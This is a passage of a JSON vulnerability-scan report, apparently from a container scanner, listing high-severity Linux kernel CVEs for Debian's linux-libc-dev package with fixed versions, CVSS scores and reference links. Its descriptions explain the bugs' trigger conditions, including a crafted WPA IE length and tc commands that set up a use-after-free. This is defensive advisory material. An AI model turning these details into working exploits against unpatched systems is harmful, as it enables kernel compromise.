"CWE-416" ], "VendorSeverity": { "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64434", "https://git.kernel.org/linus/b66774b48dd98f07254951f74ea6f513efe7ff8b%20%287.2-rc1%29", "https://git.kernel.org/stable/c/0b0e2bf39cf99e458d991b9df253727e036a7d7d", "https://git.kernel.org/stable/c/32d783cafb46ff3ca58e6f9fd62c9c5f35eaf26b", "https://git.kernel.org/stable/c/50c38d9f42a529691e4e67ea9cedf4f0bfc8d277", "https://git.kernel.org/stable/c/8922c7940bae9ce4b1736dddb6362370793835c2", "https://git.kernel.org/stable/c/8f90405a4a6f1f1880dc07996b47bf57c712bd8a", "https://git.kernel.org/stable/c/91047a4396a8b1857a6f712a90cf33ec0012b189", "https://git.kernel.org/stable/c/b66774b48dd98f07254951f74ea6f513efe7ff8b", "https://git.kernel.org/stable/c/d3b739db5dc6f688a60d56da872fabaf65246032", "https://linux.oracle.com/cve/CVE-2026-64434.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026072537-CVE-2026-64434-91cc@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64434", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64434" ], "PublishedDate": "2026-07-25T10:17:27.717Z", "LastModifiedDate": "2026-10-19T21:17:37.66Z" }, { "VulnerabilityID": "CVE-2026-64446", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64446", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f99a4247c4f0fa88335d6a249bca2498ec09ce65e571a8afef4f8446f15ceeb9", "Title": "kernel: staging: rtl8723bs: fix heap buffer overflow in rtw_cfg80211_set_wpa_ie()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nstaging: rtl8723bs: fix heap buffer overflow in rtw_cfg80211_set_wpa_ie()\n\nsupplicant_ie is a 256-byte array in struct security_priv. The WPA and\nWPA2 IE copy paths use:\n\n memcpy(padapter-\u003esecuritypriv.supplicant_ie, \u0026pwpa[0], wpa_ielen + 2);\n\nwhere wpa_ielen is the raw IE length field (u8, 0-255). When a local user\nsupplies a connect request via nl80211 with a crafted WPA IE of length 255,\nwpa_ielen + 2 equals 257, overflowing the 256-byte buffer by one byte into\nthe adjacent last_mic_err_time field.\n\nrtw_parse_wpa_ie() does not prevent this: its length consistency check\ncompares *(wpa_ie+1) against (u8)(wpa_ie_len-2), which is (u8)(255) == 255\nwhen wpa_ie_len = 257, so the check passes silently.\n\nAdd explicit bounds checks for both the WPA and WPA2 paths before the\nmemcpy, rejecting any IE whose total size (wpa_ielen + 2) exceeds the\nsupplicant_ie buffer.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64446", "https://git.kernel.org/linus/5a752a616e756844388a1a45404db9fc29fec655%20%287.2-rc3%29", "https://git.kernel.org/stable/c/138cd190efd56ab36c9fdd8fef8749d06937f24b", "https://git.kernel.org/stable/c/2131621986c62c86109ce4d84cf73a73757eb8a6", "https://git.kernel.org/stable/c/46f66c16a95191d9aca07a72ae6b1252a244e26c", "https://git.kernel.org/stable/c/5a752a616e756844388a1a45404db9fc29fec655", "https://git.kernel.org/stable/c/5d7812360abf3143afcbf5efe4ef242448fa1f28", "https://git.kernel.org/stable/c/6f20d7b0ee47c470734a69379b0fc6647c519603", "https://git.kernel.org/stable/c/a94a643a80a84ceb8139061c3d6bf988d75e45a5", "https://git.kernel.org/stable/c/b9c4bf133c3c47e23baf4f5403b98a953bf58606", "https://linux.oracle.com/cve/CVE-2026-64446.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026072540-CVE-2026-64446-f81d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64446", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64446" ], "PublishedDate": "2026-07-25T10:17:29.31Z", "LastModifiedDate": "2026-11-06T17:18:54.55Z" }, { "VulnerabilityID": "CVE-2026-64530", "VendorIDs": [ "DSA-6405-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64530", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:728dcdd3a0ce3ea2dc268c557913f68c2a7e69ee5405392e3487a1083bf8810a", "Title": "kernel: net: sched: UAF via missing handler for TC_ACT_CONSUMED in tcf_qevent_handle", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: cls_api: Handle TC_ACT_CONSUMED in tcf_qevent_handle\n\ntcf_classify() can return TC_ACT_CONSUMED while the skb is held by the\ndefragmentation engine (e.g. act_ct on out-of-order fragments). When\nthat happens the skb is no longer owned by the caller and must not be\ntouched again.\n\ntcf_qevent_handle() did not handle TC_ACT_CONSUMED: it fell through the\nswitch and returned the skb to the caller as if classification had\npassed. The only qdisc that wires up qevents today is RED, via three call sites\n(qe_mark on RED_PROB_MARK/HARD_MARK, qe_early_drop on congestion_drop)\nred_enqueue() was continuing to operate on an skb it no longer owns in this\ncase -- enqueueing it, dropping it, or updating statistics. Resulting in a UAF.\n\n tc qdisc add dev eth0 root handle 1: red ... qevent early_drop block 10\n tc filter add block 10 ... action ct\n\n (with ct defrag enabled and traffic that produces out-of-order\n fragments, e.g. a fragmented UDP stream)\n\nHandle TC_ACT_CONSUMED in tcf_qevent_handle() the same way the ingress\nand egress fast paths do: treat it as stolen and return NULL without\ntouching the skb. Unlike the TC_ACT_STOLEN case, the skb must not be\ndropped/freed here, as it is no longer owned by us.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64530", "https://access.redhat.com/errata/RHSA-2026:49212", "https://access.redhat.com/security/cve/CVE-2026-64530", "https://bugzilla.redhat.com/2492094", "https://bugzilla.redhat.com/2492437", "https://bugzilla.redhat.com/2504052", "https://bugzilla.redhat.com/2507345", "https://bugzilla.redhat.com/show_bug.cgi?id=2492094", "https://bugzilla.redhat.com/show_bug.cgi?id=2492437", "https://bugzilla.redhat.com/show_bug.cgi?id=2504052", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52923", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52993", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64530", "https://errata.almalinux.org/9/ALSA-2026-49212.html", "https://errata.rockylinux.org/RLSA-2026:49212", "https://git.kernel.org/linus/a8a02897f2b479127db261de05cbf0c28b98d159%20%287.2-rc1%29", "https://git.kernel.org/stable/c/2140c2f3f2e7b066e1ae616ede8856cafd8015e9", "https://git.kernel.org/stable/c/447d493034a9cf7bf13a2abac86d0573d907ec2f", "https://git.kernel.org/stable/c/5ed3d6f85991656667059d3fa5a1d683ac58c447", "https://git.kernel.org/stable/c/a8a02897f2b479127db261de05cbf0c28b98d159", "https://git.kernel.org/stable/c/e1270e69dcf2c3512c453484178f2e9dc0db3f05", "https://git.kernel.org/stable/c/e28aedab9488343924d227b5a896faed67ce84d5", "https://git.kernel.org/stable/c/f42e8134a3a1074b834a574d404352f867ba994a", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/8.0.0/BRSA-2j7i1tulo36b.toml", "https://linux.oracle.com/cve/CVE-2026-64530.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026072624-CVE-2026-64530-52e9@gregkh/T/#u", "https://nvd.nist.gov/vuln/detail/CVE-2026-64530", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-64530" ], "PublishedDate": "2026-07-26T07:16:41.68Z", "LastModifiedDate": "2026-11-03T18:15:39.353Z" }, { "VulnerabilityID": "CVE-2026-64531", "VendorIDs": [ "DSA-6405-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64531", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4d11e7944f82f2ddcd987d5eb778f6f445d2db74a78610efad2e1f02713e2412", "Title": "kernel: net: openvswitch: reject oversized nested action attrs", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: openvswitch: reject oversized nested action attrs\n\nOpen vSwitch stores generated flow actions as nlattrs, whose nla_len\nfield is u16. Commit a1e64addf3ff (\"net: openvswitch: remove\nmisbehaving actions length check\") allowed the total sw_flow_actions\nstream to grow beyond 64 KiB, which is valid, but also removed the last\nguard preventing a generated nested action attribute from exceeding\nU16_MAX.\n\nAn oversized generated container can thus be closed with a truncated\nnla_len. A later dump or teardown then walks a structurally different\nstream than the one that was validated. In particular, an oversized\nnested CLONE/CT action may cause subsequent bytes in the generated\nstream to be interpreted as independent actions.\n\nKeep the larger total-action-stream behavior, but make nested action\nclose reject generated containers that do not fit in nla_len, and return\nthe error through all callers. For recursive SAMPLE, CLONE, DEC_TTL, and\nCHECK_PKT_LEN builders, trim resource-owning action-list tails in reverse\nconstruction order before discarding failed wrappers, so resources copied\ninto the rejected tails are released before the wrappers are removed.\n\nMost failed outer wrappers are discarded by truncating actions_len after\nchild resources have been released. CHECK_PKT_LEN also trims its parent\nafter branch resources are gone. SET/TUNNEL close failures unwind their\nknown tun_dst ownership directly, and SET_TO_MASKED has no external\nownership and truncates on close failure.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/28/8", "http://www.openwall.com/lists/oss-security/2026/07/31/17", "http://www.openwall.com/lists/oss-security/2026/08/01/1", "http://www.openwall.com/lists/oss-security/2026/08/01/3", "http://www.openwall.com/lists/oss-security/2026/08/22/1", "https://access.redhat.com/errata/RHSA-2026:53329", "https://access.redhat.com/security/cve/CVE-2026-64531", "https://bugzilla.redhat.com/2460644", "https://bugzilla.redhat.com/2477784", "https://bugzilla.redhat.com/2507213", "https://bugzilla.redhat.com/2507402", "https://bugzilla.redhat.com/show_bug.cgi?id=2460644", "https://bugzilla.redhat.com/show_bug.cgi?id=2477784", "https://bugzilla.redhat.com/show_bug.cgi?id=2507213", "https://bugzilla.redhat.com/show_bug.cgi?id=2507402", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-54518", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64368", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64531", "https://errata.almalinux.org/9/ALSA-2026-53329.html", "https://errata.rockylinux.org/RLSA-2026:53329", "https://git.kernel.org/linus/3f1f755366687d051174739fb99f7d560202f60b%20%287.2-rc4%29", "https://git.kernel.org/stable/c/1b41cbe05b184f8861712f0806cc0c4f5d8c6dfe", "https://git.kernel.org/stable/c/3f1f755366687d051174739fb99f7d560202f60b", "https://git.kernel.org/stable/c/ab855641241387db062a5e41d9ad6b8561542572", "https://git.kernel.org/stable/c/c66bd2626c2764f23764ff0f8277f44a9cfe8349", "https://git.kernel.org/stable/c/d573250d228401f707f4dbc09d11227a6215ee5f", "https://git.kernel.org/stable/c/dbd14f736be02cfe73049bd801af89becd1a0749", "https://git.kernel.org/stable/c/f1efff8858403191361a01269c6fe8dd7f55a385", "https://linux.oracle.com/cve/CVE-2026-64531.html", "https://linux.oracle.com/errata/ELSA-2026-53330.html", "https://lore.kernel.org/linux-cve-announce/2026072732-CVE-2026-64531-e4ce@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64531", "https://ubuntu.com/security/notices/USN-8643-1", "https://ubuntu.com/security/notices/USN-8643-2", "https://ubuntu.com/security/notices/USN-8643-3", "https://ubuntu.com/security/notices/USN-8643-4", "https://ubuntu.com/security/notices/USN-8643-5", "https://ubuntu.com/security/notices/USN-8656-1", "https://ubuntu.com/security/notices/USN-8658-1", "https://ubuntu.com/security/notices/USN-8658-2", "https://ubuntu.com/security/notices/USN-8658-3", "https://ubuntu.com/security/notices/USN-8658-4", "https://ubuntu.com/security/notices/USN-8659-1", "https://ubuntu.com/security/notices/USN-8659-2", "https://ubuntu.com/security/notices/USN-8659-3", "https://ubuntu.com/security/notices/USN-8659-4", "https://ubuntu.com/security/notices/USN-8660-1", "https://ubuntu.com/security/notices/USN-8661-1", "https://ubuntu.com/security/notices/USN-8661-2", "https://ubuntu.com/security/notices/USN-8661-3", "https://ubuntu.com/security/notices/USN-8661-4", "https://ubuntu.com/security/notices/USN-8661-5", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8748-1", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8911-1", "https://www.cve.org/CVERecord?id=CVE-2026-64531" ], "PublishedDate": "2026-07-27T08:16:22.243Z", "LastModifiedDate": "2026-11-03T18:15:39.353Z" }, { "VulnerabilityID": "CVE-2026-64534", "VendorIDs": [ "DSA-6405-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64534", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:24bab29c65426eed747c56614818ef68626e20e2bf4546a4e880c014fb646565", "Title": "kernel: nvmet-tcp: check INIT_FAILED before nvmet_req_uninit in digest error path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvmet-tcp: check INIT_FAILED before nvmet_req_uninit in digest error path\n\nIn nvmet_tcp_try_recv_ddgst(), when a data digest mismatch is detected,\nnvmet_req_uninit() is called unconditionally. However, if the command\narrived via the nvmet_tcp_handle_req_failure() path, nvmet_req_init()\nhad returned false and percpu_ref_tryget_live() was never executed. The\nunconditional percpu_ref_put() inside nvmet_req_uninit() then causes a\nrefcount underflow, leading to a WARNING in\npercpu_ref_switch_to_atomic_rcu, a use-after-free diagnostic, and\neventually a permanent workqueue deadlock.\n\nCheck cmd-\u003eflags \u0026 NVMET_TCP_F_INIT_FAILED before calling\nnvmet_req_uninit(), matching the existing pattern in\nnvmet_tcp_execute_request().", "Severity": "HIGH", "CweIDs": [ "CWE-667" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:71232", "https://access.redhat.com/security/cve/CVE-2026-64534", "https://bugzilla.redhat.com/2432674", "https://bugzilla.redhat.com/2492381", "https://bugzilla.redhat.com/2502243", "https://bugzilla.redhat.com/2502251", "https://bugzilla.redhat.com/2502498", "https://bugzilla.redhat.com/2507134", "https://bugzilla.redhat.com/2507399", "https://bugzilla.redhat.com/2510890", "https://bugzilla.redhat.com/2513481", "https://bugzilla.redhat.com/2516527", "https://bugzilla.redhat.com/2528676", "https://bugzilla.redhat.com/2532176", "https://bugzilla.redhat.com/2535391", "https://bugzilla.redhat.com/show_bug.cgi?id=2432674", "https://bugzilla.redhat.com/show_bug.cgi?id=2492381", "https://bugzilla.redhat.com/show_bug.cgi?id=2502243", "https://bugzilla.redhat.com/show_bug.cgi?id=2502251", "https://bugzilla.redhat.com/show_bug.cgi?id=2502498", "https://bugzilla.redhat.com/show_bug.cgi?id=2507134", "https://bugzilla.redhat.com/show_bug.cgi?id=2507399", "https://bugzilla.redhat.com/show_bug.cgi?id=2510890", "https://bugzilla.redhat.com/show_bug.cgi?id=2513481", "https://bugzilla.redhat.com/show_bug.cgi?id=2516527", "https://bugzilla.redhat.com/show_bug.cgi?id=2517043", "https://bugzilla.redhat.com/show_bug.cgi?id=2528676", "https://bugzilla.redhat.com/show_bug.cgi?id=2532176", "https://bugzilla.redhat.com/show_bug.cgi?id=2535391", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53005", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63802", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63831", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64534", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64564", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68201", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74469", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89846", "https://errata.almalinux.org/9/ALSA-2026-71232.html", "https://errata.rockylinux.org/RLSA-2026:71232", "https://git.kernel.org/linus/4606467a75cfc16721937272ed29462a750b60c8%20%287.1-rc2%29", "https://git.kernel.org/stable/c/22ec7a9fe9153d2737ee9b2fa6d2e43a1491decf", "https://git.kernel.org/stable/c/2ed3c9d955e8cd6361f130623baa664a75fb345f", "https://git.kernel.org/stable/c/4606467a75cfc16721937272ed29462a750b60c8", "https://git.kernel.org/stable/c/ba35b1c674ca3841c0dfadd698f2c1b3ec542d4e", "https://git.kernel.org/stable/c/c7874dad84b20433c0fe3919f291a762d40de08b", "https://git.kernel.org/stable/c/d306da8833e75f669d93424fd84940236f3850bc", "https://git.kernel.org/stable/c/e602c93b25bda4a9d0ff1791a4bdbfdcbb074af1", "https://linux.oracle.com/cve/CVE-2026-64534.html", "https://linux.oracle.com/errata/ELSA-2026-71232.html", "https://lore.kernel.org/linux-cve-announce/2026072734-CVE-2026-64534-434b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64534", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-64534" ], "PublishedDate": "2026-07-27T08:16:22.643Z", "LastModifiedDate": "2026-11-03T18:15:39.353Z" }, { "VulnerabilityID": "CVE-2026-64552", "VendorIDs": [ "DSA-6405-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64552", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:700753e473a9422b89bbd49bf2c1858657e685296caffd1f47e33f490881c619", "Title": "kernel: virtio-net: fix len check in receive_big()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nvirtio-net: fix len check in receive_big()\n\nreceive_big() bounds the device-announced length by\n(big_packets_num_skbfrags + 1) * PAGE_SIZE. That is still too loose:\nadd_recvbuf_big() sets sg[1] to start at offset\nsizeof(struct padded_vnet_hdr) into the first page, so the chain\nactually carries hdr_len + (PAGE_SIZE - sizeof(padded_vnet_hdr)) +\nbig_packets_num_skbfrags * PAGE_SIZE bytes -- 20 bytes less than the\ncheck allows for the common hdr_len == 12 case.\n\nA malicious virtio backend can announce a len in that gap. page_to_skb()\nthen walks one frag past the page chain, storing a NULL page-\u003eprivate\ninto skb_shinfo()-\u003efrags[MAX_SKB_FRAGS], which is both an out-of-bounds\nwrite past the static frag array and a NULL frag handed up the rx path.\n\nBound len by the size add_recvbuf_big() actually advertised.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64552", "https://access.redhat.com/security/cve/CVE-2026-64552", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://git.kernel.org/linus/9e5ad06ea826322ce8c58b4a68442a96f600c3c4%20%287.2-rc1%29", "https://git.kernel.org/stable/c/38e94d63e29f4a5c6eae87ee2c02101aaa321502", "https://git.kernel.org/stable/c/9e5ad06ea826322ce8c58b4a68442a96f600c3c4", "https://git.kernel.org/stable/c/c7fc9adf4e006155f7f2aeda052fbcde25cdcc49", "https://git.kernel.org/stable/c/e6b8463b7d791f3886d7584259d6e9f06a69f12e", "https://git.kernel.org/stable/c/f9451d0fd5ba635dcabb49bfe456a6db734a8986", "https://git.kernel.org/stable/c/fbeb65154583879d556ea94cb2f15888e9470f3d", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/8.0.0/BRSA-zze3f4ryalwf.toml", "https://linux.oracle.com/cve/CVE-2026-64552.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026072737-CVE-2026-64552-5e13@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64552", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-64552" ], "PublishedDate": "2026-07-27T21:17:08.173Z", "LastModifiedDate": "2026-11-03T18:15:39.353Z" }, { "VulnerabilityID": "CVE-2026-64556", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64556", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:02499a1705dba9d6e1d70c4d0ecb116b45e0098d545371a8aefc87425697c06a", "Title": "kernel: perf/core: Detach event groups during remove_on_exec", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nperf/core: Detach event groups during remove_on_exec\n\nperf_event_remove_on_exec() removes events by calling\nperf_event_exit_event(). For top-level events, this removes the event from\nthe context with 